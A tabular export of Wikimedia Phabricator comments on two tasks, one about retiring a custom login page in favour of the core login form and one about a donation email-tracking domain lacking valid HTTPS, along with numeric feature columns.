[[https://gerrit.wikimedia.org/r/231146]]",,,1441316635,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.4210526315789473,0.8947368421052632,"Change 231146 merged by jenkins-bot:
Use core login form

[[GERRIT_URL]]"
520650,Getting rid of own login page (tracking),*yay*,,,1441316105,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,*yay*
516838,Getting rid of own login page (tracking),@jdlrobson I know you wanted to get this done sooner than later. Feel free to put subtasks into the next sprint board (search for 55 on phab),,,1440787627,,PHID-USER-cjstd4vv3u3gq2sijr7d,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,20.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,7.0,20.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.8666666666666667,0.9666666666666667,SCREEN_NAME I know you wanted to get this done sooner than later. Feel free to put subtasks into the next sprint board (search for 55 on phab)
513273,Getting rid of own login page (tracking),"It's already on high priority so it will show up on searches.

I agree this needs to happen sooner than later, but we also need to focus more on getting quick surveys and performance work done, we may be  spreading a bit too thin and we may be risking not accomplishing the goals we set.

As said this is high and will show up for next sprints so don't worry!

Maybe ping reviewers manually?

",,,1440407666,,PHID-USER-cjstd4vv3u3gq2sijr7d,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,2.0,6.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,6.0,1.0,13.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,2.0,0.0,8.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,5.0,1.0,5.0,5.0,0.0,0.0,1.0,0.0,8.0,0.0,1.0,0.0,8.0,13.0,0.0,1.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,5.0,2.0,0.0,0.0,3.7126436781609193,0.7586206896551724,"It's already on high priority so it will show up on searches.

I agree this needs to happen sooner than later, but we also need to focus more on getting quick surveys and performance work done, we may be  spreading a bit too thin and we may be risking not accomplishing the goals we set.

As said this is high and will show up for next sprints so don't worry!

Maybe ping reviewers manually?

"
512635,Getting rid of own login page (tracking),@JHernandez can we look to make sure this put in the next sprint if it hasn't been merged by then? I'm keen to see the back of this code!,,,1440194382,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,18.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,9.0,18.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.303030303030303,0.9090909090909091,SCREEN_NAME can we look to make sure this put in the next sprint if it hasn't been merged by then? I'm keen to see the back of this code!
507110,Getting rid of own login page (tracking),"Change 231184 merged by jenkins-bot:
Do not override login form in beta

[[https://gerrit.wikimedia.org/r/231184]]",,,1439422602,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.5,0.9090909090909091,"Change 231184 merged by jenkins-bot:
Do not override login form in beta

[[GERRIT_URL]]"
507055,Getting rid of own login page (tracking),"Change 231146 had a related patch set uploaded (by Jdlrobson):
Use core login form

[[https://gerrit.wikimedia.org/r/231146]]
",,,1439419397,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.625,0.875,"Change 231146 had a related patch set uploaded (by Jdlrobson):
Use core login form

[[GERRIT_URL]]
"
507043,Getting rid of own login page (tracking),"Change 231184 had a related patch set uploaded (by Jdlrobson):
Do not override login form in beta

[[https://gerrit.wikimedia.org/r/231184]]
",,,1439418634,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.6666666666666665,0.8888888888888888,"Change 231184 had a related patch set uploaded (by Jdlrobson):
Do not override login form in beta

[[GERRIT_URL]]
"
506936,Getting rid of own login page (tracking),"Change 231146 had a related patch set uploaded (by Florianschmidtwelzow):
Use core login form

[[https://gerrit.wikimedia.org/r/231146]]
",,,1439410431,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.083333333333333,0.875,"Change 231146 had a related patch set uploaded (by Florianschmidtwelzow):
Use core login form

[[GERRIT_URL]]
"
331996,Getting rid of own login page (tracking),Alpha patch: I8f89bdaf3dc7fde104f199554b18486c30580910,,,1415036120,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,1,True,,,-35,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,75.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,Alpha patch: I8f89bdaf3dc7fde104f199554b18486c30580910
331992,Getting rid of own login page (tracking),"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/tOKYUJrd",,,1415036113,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wmes5uwwfa4lhsk2s5fp,task_subcomment,,True,c3,1,False,,,-35,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Trello card URL"
74514,links.email.donate.wikimedia.org should offer HTTPS,"Found on https://github.com/EFForg/https-everywhere/issues/686

timmc said:
> Wikimedia [Foundation] sent me an email asking me to donate like I did last year:
>
> http://links.email.donate.wikimedia.org/ctt?kn=X&ms=XXXXXXXXXXXXX&r=XXXXXXXXXXXXXXXXX&b=X&j=XXXXXXXXXXXXX&mt=X&rt=X

Reedy said:
> ""This server could not prove that it is links.email.donate.wikimedia.org; its security certificate is from *.links.mkt41.net. This may be caused by a misconfiguration or an attacker intercepting your connection.""

Italian donor said:
> Il link riporta a questo sito: http://links.wikimedia.mkt4477.com/ctt?............... 

--------------------------
**Version**: wmf-deployment
**Severity**: major
**URL**: https://links.email.donate.wikimedia.org/
**See Also**:
https://github.com/EFForg/https-everywhere/issues/686
https://bugzilla.wikimedia.org/show_bug.cgi?id=58373",High,80.0,1414255200,1420837253.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-uxp3hc4banddtiwz6xrp,True,PHID-TASK-qcwcgvyfhhyloftimytq,task_description,resolved,True,c3,1,True,False,True,-36,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.878787878787879,0.3333333333333333,"Found on URL

timmc said:
QUOTE
QUOTE
QUOTE

Reedy said:
QUOTE

Italian donor said:
QUOTE

--------------------------
**Version**: wmf-deployment
**Severity**: major
**URL**: URL
**See Also**:
URL
URL"
642325,links.email.donate.wikimedia.org should offer HTTPS,"Closing the loop on this, finally! We no longer need to support Silverpop's
domains (mtk41 or mkt4477.com, I believe are the only main domains?) for
click tracking.",,,1460068950,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,40,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,0.0,3.0,8.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,5.0,8.0,5.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7837837837837838,0.8918918918918919,"Closing the loop on this, finally! We no longer need to support Silverpop's
domains (mtk41 or mkt4477.com, I believe are the only main domains?) for
click tracking."
632364,links.email.donate.wikimedia.org should offer HTTPS,"@CCogdill_WMF  thank you, that is good news. i was just going through that old wiki page",,,1458334583,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,37,True,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.736842105263158,0.9473684210526315,"SCREEN_NAME  thank you, that is good news. i was just going through that old wiki page"
632362,links.email.donate.wikimedia.org should offer HTTPS,"Apologies @Dzahn, you're totally right. We don't use the
links.email.donate.wikimedia.org domain anymore. I was remembering old
times.

So yes, I think we can remove the DNS record for that domain. We should
keep the mtk41 domain record active for another 2 weeks.",,,1458334477,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,37,True,0.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,2.0,7.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,13.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,11.0,4.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.296296296296297,0.7222222222222222,"ApologiesSCREEN_NAME, you're totally right. We don't use the
links.email.donate.wikimedia.org domain anymore. I was remembering old
times.

So yes, I think we can remove the DNS record for that domain. We should
keep the mtk41 domain record active for another 2 weeks."
632361,links.email.donate.wikimedia.org should offer HTTPS,">>! In T74514#2054126, @CCogdill_WMF wrote:
> It will be in use for another couple of weeks, until the Swedish banners
> come down. 

let me create a subtask to remove this from DNS so we don't forget this
",,,1458334416,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,37,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,4.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,9.0,13.0,17.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,3.347826086956522,0.782608695652174,"QUOTE
QUOTE
QUOTE

let me create a subtask to remove this from DNS so we don't forget this
"
632360,links.email.donate.wikimedia.org should offer HTTPS,"https://links.email.donate.wikimedia.org/

links.email.donate.wikimedia.org uses an invalid security certificate. The certificate is only valid for the following names: *.links.mkt41.net, links.mkt41.net 

this still linked to from https://wikitech.wikimedia.org/wiki/Httpsless_domains  and there is a cert error",,,1458334348,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,37,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,8.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,5.297297297297297,0.8918918918918919,"URL

links.email.donate.wikimedia.org uses an invalid security certificate. The certificate is only valid for the following names: *.links.mkt41.net, links.mkt41.net 

this still linked to from URL  and there is a cert error"
617319,links.email.donate.wikimedia.org should offer HTTPS,">>! In T74514#2051351, @CCogdill_WMF wrote:
> Sure @Nemo_bis, here's a sample link from an email that went out last week:
> 
> https://donate.wikimedia.org/?utm_campaign=C1516_Email3&utm_medium=email&appeal=Appeal-JimmyQuote&utm_source=sp50722338&hpc=0&uselang=sv&contact_id=&link_id=2

Thanks, that's easy to remember and I'm confident we'll get few questions about it. :)
",,,1456336185,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,33,True,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,7.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3793103448275863,0.7931034482758621,"QUOTE
QUOTE
QUOTE
QUOTE

Thanks, that's easy to remember and I'm confident we'll get few questions about it. :)
"
616035,links.email.donate.wikimedia.org should offer HTTPS,"It will be in use for another couple of weeks, until the Swedish banners
come down. We have an active automated email program tied to the banners,
and if we pause it while active we will cause the program to fail for
donors currently enrolled. I can update this task once all the Swedish
emails are out.

Le lundi 22 février 2016, Chmarkine <no-reply@phabricator.wikimedia.org> a
écrit :

> Chmarkine added a comment.
>
>
>   So is `links.email.donate.wikimedia.org` still in use? If not, can we
> remove it from the DNS record?
>
> TASK DETAIL
>   https://phabricator.wikimedia.org/T74514
>
> EMAIL PREFERENCES
>   https://phabricator.wikimedia.org/settings/panel/emailpreferences/
>
> To: CCogdill_WMF, Chmarkine
> Cc: Nemo_bis, CCogdill_WMF, wikibugs-l-list, Chmarkine, Dinoguy1000,
> Seb35, Krenair
>
>
>",,,1456203528,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,33,True,0.5,0.0,0.0,0.0,0.0,3.0,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,7.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.5,20.0,1.0,0.5,5.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,3.0,6.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,1.5,3.7254529514903565,0.5794856808883694,"It will be in use for another couple of weeks, until the Swedish banners
come down. We have an active automated email program tied to the banners,
and if we pause it while active we will cause the program to fail for
donors currently enrolled. I can update this task once all the Swedish
emails are out.

Le lundi 22 février 2016, Chmarkine <no-reply@phabricator.wikimedia.org> a
écrit :

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
616030,links.email.donate.wikimedia.org should offer HTTPS,"So is `links.email.donate.wikimedia.org` still in use? If not, can we remove it from the DNS record?",,,1456201501,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,33,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,21.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,16.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8947368421052633,0.9473684210526315,"So is CODE still in use? If not, can we remove it from the DNS record?"
615480,links.email.donate.wikimedia.org should offer HTTPS,"Sure @Nemo_bis, here's a sample link from an email that went out last week:

https://donate.wikimedia.org/?utm_campaign=C1516_Email3&utm_medium=email&appeal=Appeal-JimmyQuote&utm_source=sp50722338&hpc=0&uselang=sv&contact_id=&link_id=2

Let me know if you have any questions about that.",,,1456157029,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,33,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,10.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,7.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,3.7,0.9333333333333333,"SureSCREEN_NAME, here's a sample link from an email that went out last week:

URL

Let me know if you have any questions about that."
615264,links.email.donate.wikimedia.org should offer HTTPS,">>! In T74514#2040989, @CCogdill_WMF wrote:
> Reopening (and resolving) this task to say Fundraising Tech has successfully set up email click tracking through donate.wiki (see T114010). We had our first round of emails go out this morning with our ESP's click tracking turned off after comparing data between the two click tracking systems over the last week. 

Thanks. Can you tell us how the new URLs in emails look like, so that we know how to answer next time people ask about suspect phishing? Thanks.",,,1456099240,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qcwcgvyfhhyloftimytq,task_subcomment,,True,c3,3,True,,,33,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,17.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,6.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,17.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,17.0,0.0,3.0,0.0,0.0,8.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.611111111111111,0.8888888888888888,"QUOTE
QUOTE

Thanks. Can you tell us how the new URLs in emails look like, so that we know how to answer next time people ask about suspect phishing? Thanks."
613322,links.email.donate.wikimedia.org should offer HTTPS,"Reopening (and resolving) this task to say Fundraising Tech has successfully set up email click tracking through donate.wiki (see T114010). We had our first round of emails go out this morning with our ESP's click tracking turned off after comparing data between the two click tracking systems over the last week. 

